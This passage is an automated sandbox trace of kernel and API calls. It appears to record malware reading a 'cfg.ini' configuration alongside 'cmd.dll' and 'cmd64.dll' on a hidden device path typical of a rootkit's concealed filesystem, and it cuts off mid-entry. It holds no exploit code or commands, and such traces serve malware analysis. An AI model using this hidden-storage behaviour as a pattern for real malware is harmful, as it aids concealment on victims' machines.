[0124.455] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.455] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.455] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.455] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0124.455] IdePortDispatch () returned 0x103 [0124.456] KeWaitForMutexObject () returned 0x0 [0124.456] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.456] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.456] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.456] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.456] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.456] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf01e0 [0124.456] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.456] KeLeaveCriticalRegion () [0124.456] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.456] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.456] KeEnterCriticalRegion () [0124.456] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.456] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.456] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.456] KeLeaveCriticalRegion () [0124.456] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.456] KeEnterCriticalRegion () [0124.456] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.456] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.456] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.456] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.456] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0124.456] IdePortDispatch () returned 0x103 [0124.456] KeWaitForMutexObject () returned 0x0 [0124.457] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.457] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.457] KeLeaveCriticalRegion () [0124.457] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.457] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.457] KeEnterCriticalRegion () [0124.457] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.457] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800355a000 [0124.457] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.457] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.457] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.457] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.457] IdePortDispatch () returned 0x103 [0124.457] KeWaitForMutexObject () returned 0x0 [0124.457] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.457] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.457] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.457] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.457] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.457] IdePortDispatch () returned 0x103 [0124.457] KeWaitForMutexObject () returned 0x0 [0124.457] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.457] KeLeaveCriticalRegion () [0124.457] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.458] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.458] KeEnterCriticalRegion () [0124.458] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.458] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.458] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.458] KeLeaveCriticalRegion () [0124.458] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.458] KeEnterCriticalRegion () [0124.458] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.458] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.458] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf1b70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.458] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.458] KeLeaveCriticalRegion () [0124.458] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.458] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.458] KeEnterCriticalRegion () [0124.458] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.458] ExFreePoolWithTag (P=0xfffffa8003bf01e0, Tag=0x0) [0124.458] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.458] KeLeaveCriticalRegion () [0124.458] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.458] ReleaseMutex (hMutex=0xf0) returned 1 [0124.458] Sleep (dwMilliseconds=0x124f80) [0124.472] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.472] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.472] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.472] KeEnterCriticalRegion () [0124.472] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.472] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.472] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.472] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.472] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0124.472] IdePortDispatch () returned 0x103 [0124.472] KeWaitForMutexObject () returned 0x0 [0124.472] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.472] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.472] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.472] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.472] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.472] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf12e0 [0124.472] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.473] KeLeaveCriticalRegion () [0124.473] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.473] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.473] KeEnterCriticalRegion () [0124.473] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.473] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.473] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.473] KeLeaveCriticalRegion () [0124.473] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.473] KeEnterCriticalRegion () [0124.473] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.473] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.473] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.473] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.473] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0124.473] IdePortDispatch () returned 0x103 [0124.473] KeWaitForMutexObject () returned 0x0 [0124.473] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.473] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.473] KeLeaveCriticalRegion () [0124.473] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.473] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.473] KeEnterCriticalRegion () [0124.473] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.473] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800355f000 [0124.473] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.473] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.473] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.473] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.473] IdePortDispatch () returned 0x103 [0124.474] KeWaitForMutexObject () returned 0x0 [0124.474] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.474] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.474] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.474] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.474] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.474] IdePortDispatch () returned 0x103 [0124.474] KeWaitForMutexObject () returned 0x0 [0124.474] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.474] KeLeaveCriticalRegion () [0124.474] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.474] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.474] KeEnterCriticalRegion () [0124.474] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.474] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.474] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.474] KeLeaveCriticalRegion () [0124.474] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.475] KeEnterCriticalRegion () [0124.475] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.475] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.475] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf1810, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.475] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.475] KeLeaveCriticalRegion () [0124.475] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.475] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.475] KeEnterCriticalRegion () [0124.475] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.475] ExFreePoolWithTag (P=0xfffffa8003bf12e0, Tag=0x0) [0124.475] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.475] KeLeaveCriticalRegion () [0124.475] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.475] ReleaseMutex (hMutex=0xf0) returned 1 [0124.475] Sleep (dwMilliseconds=0x124f80) [0124.490] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.490] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.490] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.490] KeEnterCriticalRegion () [0124.490] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.490] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.490] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.490] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.490] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0124.490] IdePortDispatch () returned 0x103 [0124.490] KeWaitForMutexObject () returned 0x0 [0124.490] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.490] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.490] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.490] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.490] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.490] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf1440 [0124.490] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.490] KeLeaveCriticalRegion () [0124.490] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.490] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.490] KeEnterCriticalRegion () [0124.490] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.490] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.490] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.490] KeLeaveCriticalRegion () [0124.490] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.491] KeEnterCriticalRegion () [0124.491] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.491] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.491] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.491] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.491] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0124.491] IdePortDispatch () returned 0x103 [0124.491] KeWaitForMutexObject () returned 0x0 [0124.491] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.491] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.491] KeLeaveCriticalRegion () [0124.491] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.491] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.491] KeEnterCriticalRegion () [0124.491] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.491] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003568000 [0124.491] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.491] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.491] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.491] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.491] IdePortDispatch () returned 0x103 [0124.491] KeWaitForMutexObject () returned 0x0 [0124.491] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.491] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.491] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.491] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.491] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.491] IdePortDispatch () returned 0x103 [0124.492] KeWaitForMutexObject () returned 0x0 [0124.492] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.492] KeLeaveCriticalRegion () [0124.492] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.492] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.492] KeEnterCriticalRegion () [0124.492] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.492] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.492] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.492] KeLeaveCriticalRegion () [0124.492] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.492] KeEnterCriticalRegion () [0124.492] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.492] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.492] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf1810, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.492] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.492] KeLeaveCriticalRegion () [0124.492] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.492] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.492] KeEnterCriticalRegion () [0124.492] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.493] ExFreePoolWithTag (P=0xfffffa8003bf1440, Tag=0x0) [0124.493] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.493] KeLeaveCriticalRegion () [0124.493] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.493] ReleaseMutex (hMutex=0xf0) returned 1 [0124.493] Sleep (dwMilliseconds=0x124f80) [0124.509] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.509] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.509] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.509] KeEnterCriticalRegion () [0124.509] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.509] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.509] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.509] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.509] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0124.509] IdePortDispatch () returned 0x103 [0124.509] KeWaitForMutexObject () returned 0x0 [0124.509] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.509] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.509] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.509] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.509] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.509] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf1640 [0124.509] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.509] KeLeaveCriticalRegion () [0124.509] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.509] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.509] KeEnterCriticalRegion () [0124.509] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.509] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.510] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.510] KeLeaveCriticalRegion () [0124.510] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.510] KeEnterCriticalRegion () [0124.510] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.510] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.510] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.510] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.510] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: 